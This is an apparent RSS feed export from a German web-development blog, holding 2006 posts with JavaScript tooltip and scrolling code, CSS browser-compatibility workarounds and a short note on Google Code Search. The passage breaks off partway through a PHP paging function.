<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> enable_tt<span class="br0">&#40;</span>tt_content, blnShow_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; show_tt = blnShow_tt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">innerHTML</span> = tt_content;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> hide_tt<span class="br0">&#40;</span>blnShow_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; show_tt = blnShow_tt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">width</span> = <span class="st0">&#8221;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">left</span> = <span class="st0">&quot;-5000px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;hidden&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> tt_position<span class="br0">&#40;</span>objThis<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>show_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// get ViewPortheight</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> intcH = document.<span class="me1">documentElement</span>.<span class="me1">clientHeight</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// differentiated values for IE and NS</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>blnIE<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intcX = event.<span class="me1">clientX</span>; intcY = event.<span class="me1">clientY</span> + document.<span class="me1">documentElement</span>.<span class="me1">scrollTop</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intsLeft = document.<span class="me1">documentElement</span>.<span class="me1">scrollLeft</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> intBottom = intcH - event.<span class="me1">clientY</span> - <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intcX = objThis.<span class="me1">clientX</span>; intcY = objThis.<span class="me1">pageY</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> intBottom = intcH - objThis.<span class="me1">clientY</span> - <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intsLeft = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// set tt-pos</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">left</span> = intcX - intOffset_X_Pointer + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intBottom &lt; obj_tt.<span class="me1">offsetHeight</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">top</span> = intcY - obj_tt.<span class="me1">offsetHeight</span> - <span class="nu0">10</span> + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">top</span> = intcY + intOffset_Y_Pointer + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;visible&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Im Kopfbereich der HTML-Seite sind nur wenige Änderungen notwendig. Das ausgelagerte JavaScript (tooltip.js) sowie zwei Anweisungen zur initialisieren müssen eingebunden werden.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/script.html"><span class="kw2">&lt;script</span></a> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;tooltip.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span></div>
</li>
</ol>
</div>
<p></p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">window.<span class="kw3">onload</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; generateToolTips<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; document.<span class="me1">onmousemove</span> = tt_position;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Nun können unterschiedliche Element mit einen Tooltip versehen werden. Dafür muss dem Element die CSS-Klasse &#8220;tt&#8221; zugeordnet, sowie der Inhalt des Tooltips in das Attribut &#8220;title&#8221; geschrieben werden.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;http://www.knoxmic.net&quot;</span> <span class="kw3">class</span>=<span class="st0">&quot;tt&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">title</span>=<span class="st0">&quot;&lt;p&gt;</span>get this tooltip script now<span class="sc2">&lt;/p&gt;</span>&quot;&gt;tooltip #1<span class="sc2">&lt;/a&gt;</span></span></div>
</li>
</ol>
</div>
<p>Das vorgestellte Beispiel kann wieder im Browser <a href="/scripts/js_tooltip/example.html">betrachtet</a> oder <a href="/scripts/js_tooltip.zip">heruntergeladen</a> werden.</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/tooltip-with-javascript/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fun with Google Code Search</title>
		<link>http://knoxmic.net/fun-with-google-code-search/</link>
		<comments>http://knoxmic.net/fun-with-google-code-search/#comments</comments>
		<pubDate>Fri, 06 Oct 2006 13:53:06 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://knoxmic.net/fun-with-google-code-search/</guid>
		<description><![CDATA[
Vor wenigen Tagen hat Google ein neues Tool freigegeben. Was man in Quelltext so alles entdecken kann: http://www.google.com/codesearch?q=d&#8217;oh
Ebenso: http://www.google.com/codesearch?q=easteregg

]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.google.com/intl/en/images/codesearch_logo_sm.gif" align="left" class="portfolio_img" style="margin-right:10px;"></p>
<p>Vor wenigen Tagen hat Google ein neues Tool freigegeben. Was man in Quelltext so alles entdecken kann: <a href="http://www.google.com/codesearch?q=d%27oh">http://www.google.com/codesearch?q=d&#8217;oh</a></p>
<p>Ebenso: <a href="http://www.google.com/codesearch?q=easteregg">http://www.google.com/codesearch?q=easteregg</a></p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/fun-with-google-code-search/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CSS hacks 2 go</title>
		<link>http://knoxmic.net/css-hacks-2-go/</link>
		<comments>http://knoxmic.net/css-hacks-2-go/#comments</comments>
		<pubDate>Thu, 05 Oct 2006 15:00:00 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/css-hacks-2-go/</guid>
		<description><![CDATA[Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene kleine Sammlung dieser Tricks darstellen:

So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im Business Browser IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.




span &#123;


&#160; font-size:x-small;


&#160; voice-family:&#34;\&#34;}\&#34;&#34;;


&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene <strong>kleine</strong> Sammlung dieser Tricks darstellen:</p>
<p></p>
<p>So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im <a href="http://stjan.de">Business Browser</a> IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">span <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">font-size</span>:<span class="kw2">x-small</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">voice-family</span>:<span class="st0">&quot;<span class="es0">\&quot;</span>}<span class="es0">\&quot;</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">voice-family</span>:<span class="kw2">inherit</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">font-size</span>:small;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p></p>
<p>Um den IE 4/5/6 ganz vor der Tür stehen zu lassen, genügt der Gebrauch eines Kindselektors:</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">html&gt;body p <span class="br0">&#123;</span> <span class="kw1">margin</span>:<span class="nu0">0</span>; <span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p></p>
<p>Alle in dem Container, erste und letzte Zeile im Codebeispiel, enthaltenen Anweisungen sind für den Netscape 4 unsichtbar.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="coMULTI">/*/*/</span>a<span class="br0">&#123;</span><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">body <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">margin</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* */</span></div>
</li>
</ol>
</div>
<p></p>
<p>Seit nicht allzu langer Zeit, tendiere ich allerdings dazu, CSS-Anweisungen die ich für den IE korrigieren muss, über <a href="http://msdn.microsoft.com/workshop/author/dhtml/overview/ccomment_ovw.asp" title="About Conditional Comments">Conditional Comments</a> darzustellen. Genau das würde ich auch allen Besuchern empfehlen, mit der weiteren Verbreitung des IE 7 sollten auch einige css hacks der Vergangenheit angehören.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">&lt;!&#8211;<span class="br0">&#91;</span>if IE<span class="br0">&#93;</span>&gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;style type=<span class="st0">&quot;text/css&quot;</span> media=<span class="st0">&quot;screen&quot;</span>&gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; p <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">padding</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">margin</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/style&gt;&nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&lt;! <span class="br0">&#91;</span>endif<span class="br0">&#93;</span>&#8211;&gt;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/css-hacks-2-go/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Scrolling with JavaScript</title>
		<link>http://knoxmic.net/scrolling-with-javascript/</link>
		<comments>http://knoxmic.net/scrolling-with-javascript/#comments</comments>
		<pubDate>Sun, 24 Sep 2006 14:44:08 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/test/</guid>
		<description><![CDATA[Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.
Als erstes sollte die notwendige JavaScript-Klasse für das [...]]]></description>
			<content:encoded><![CDATA[<p>Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.<br />
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.</p>
<p>Als erstes sollte die notwendige JavaScript-Klasse für das Scrolling eingebunden werden.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> <span class="kw3">scroll</span><span class="br0">&#40;</span>objElement, intHeight<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">var</span> self = <span class="kw1">this</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>._y = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; objElement.<span class="me1">style</span>.<span class="me1">top</span>&nbsp; = <span class="st0">&quot;0px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">setPosition</span> = <span class="kw2">function</span><span class="br0">&#40;</span>intPos, y<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intPos &gt; <span class="nu0">0</span><span class="br0">&#41;</span> intPos = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intPos &lt; intHeight - objElement.<span class="me1">offsetHeight</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intPos = intHeight - objElement.<span class="me1">offsetHeight</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">this</span>._y = intPos;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; objElement.<span class="me1">style</span>.<span class="me1">top</span>&nbsp; = <span class="kw1">this</span>._y +<span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">scrollY</span> = <span class="kw2">function</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="kw1">this</span>.<span class="me1">setPosition</span><span class="br0">&#40;</span><span class="kw1">this</span>._y + y, y<span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">start</span> = <span class="kw2">function</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span> <span class="br0">&#123;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">scrollTimer</span> = window.<span class="me1">setInterval</span><span class="br0">&#40;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> self.<span class="me1">scrollY</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span>; <span class="br0">&#125;</span>, <span class="nu0">25</span> <span class="br0">&#41;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="kw3">stop</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">scrollTimer</span><span class="br0">&#41;</span> window.<span class="me1">clearInterval</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">scrollTimer</span><span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
</ol>
</div>
<p>Danach ist es notwendig das Objekt, welches den zu scrollenden Inhalt enthält der Klasse &#8220;scroll&#8221; zu übergeben und damit ein neues Objekt zu erstellen.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding:0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> srollObject = <span class="kw2">null</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> initPage<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">var</span> objElement = document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&#8216;content&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; srollObject = <span class="kw2">new</span> <span class="kw3">scroll</span><span class="br0">&#40;</span>objElement, <span class="nu0">150</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
<p>Dieser Vorgang wird natürlich erst nach erfolgten Laden der Seite ausgeführt.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/body.html"><span class="kw2">&lt;body</span></a> <span class="kw3">onload</span>=<span class="st0">&quot;initPage();&quot;</span><span class="kw2">&gt;</span></span></div>
</li>
</ol>
</div>
<p>Über diese zwei Elemente läßt sich das scrollen beeinflussen.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;#&quot;</span> <span class="kw3">onmouseover</span>=<span class="st0">&quot;srollObject.start(-4);&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">onmouseout</span>=<span class="st0">&quot;srollObject.stop();&quot;</span><span class="kw2">&gt;</span></span><span class="sc1">&amp;or;</span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;#&quot;</span> <span class="kw3">onmouseover</span>=<span class="st0">&quot;srollObject.start(4);&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">onmouseout</span>=<span class="st0">&quot;srollObject.stop();&quot;</span><span class="kw2">&gt;</span></span><span class="sc1">&amp;and;</span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span></div>
</li>
</ol>
</div>
<p>Das vorgestellte Beispiel kann im Browser <a href="/scripts/js_scroll/example.html">betrachtet</a> oder <a href="/scripts/js_scroll.zip">heruntergeladen</a> werden.</p>
<p><span style="color:#ff0000;">Update!</span> Über das Skript <a href="/scripts/scroll_xy.js">scroll_xy.js</a> (<a href="/scripts/js_scroll_xy.zip">zip</a>) ist auch ein Scrolling entlang der X- bzw. Y-Achse möglich.</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/scrolling-with-javascript/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Paging your content dynamicly</title>
		<link>http://knoxmic.net/paging-function-in-php/</link>
		<comments>http://knoxmic.net/paging-function-in-php/#comments</comments>
		<pubDate>Thu, 04 May 2006 21:43:44 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
		
		<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/paging-function-in-php/</guid>
		<description><![CDATA[
/* GeSHi (c) Nigel McNie 2004 (http://qbnz.com/highlighter) */
.php .de1, .php .de2 {color: #000060; font-weight: normal;}
.php  {white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f9f9f9; margin: 0; line-height: 110%; padding: 0;color: #000099;}
.php a:link {color: #006;}
.php a:hover {background-color: #d6d6e6;}
.php .head {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
/* GeSHi (c) Nigel McNie 2004 (http://qbnz.com/highlighter) */
.php .de1, .php .de2 {color: #000060; font-weight: normal;}
.php  {white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f9f9f9; margin: 0; line-height: 110%; padding: 0;color: #000099;}
.php a:link {color: #006;}
.php a:hover {background-color: #d6d6e6;}
.php .head {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-bottom: 1px solid #d0d0d0; padding: 2px;}
.php .foot {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-top: 1px solid #d0d0d0; padding: 2px;}
.php .imp {font-weight: bold; color: red;}
.php li {list-style:none;font-family: 'Courier New', Courier, monospace; color: #000060; background-color: #f9f9f9; padding-bottom: 2px;}
.php .kw1 {color: #b1b100;}
.php .kw2 {color: #000000; font-weight: bold;}
.php .kw3 {color: #000066;}
.php .co1 {color: #808080; font-style: italic;}
.php .co2 {color: #808080; font-style: italic;}
.php .coMULTI {color: #808080; font-style: italic;}
.php .es0 {color: #000099; font-weight: bold;font-weight: normal;}
.php .br0 {color: #66cc66;}
.php .st0 {color: #ff0000;}
.php .nu0 {color: #cc66cc;}
.php .me1 {color: #006600;}
.php .me2 {color: #006600;}
.php .me {1}
.php .re0 {color: #0000ff;}</p>
</style>
<p>Do you need a function for paging your content? Feel free to use this php <a href="/scripts/php_paging.zip">code</a> for your application.<br />If you know any tips to improve let me know.</p>
<div class="php" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> paging<span class="br0">&#40;</span><span class="re0">$m</span>, <span class="re0">$u</span>, <span class="re0">$p</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$m</span> &gt; <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="re0">$p</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$i</span>=<span class="re0">$p</span>-<span class="re0">$u</span>; <span class="re0">$i</span>&lt;=<span class="re0">$p</span>+<span class="re0">$u</span>; <span class="re0">$i</span>++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span>-<span class="re0">$u</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="nu0">1</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;1 &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=1&quot; class=&quot;p&quot;&gt;1&lt;/a&gt; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span>-<span class="re0">$u</span> &gt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&#8230; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> &lt; <span class="re0">$m</span> &amp;&amp; <span class="re0">$i</span> != <span class="nu0">1</span> &amp;&amp; <span class="re0">$i</span> &gt; <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="re0">$i</span>.<span class="st0">&#8216; &#8216;</span>;</div>
</li>
<li class="li1">
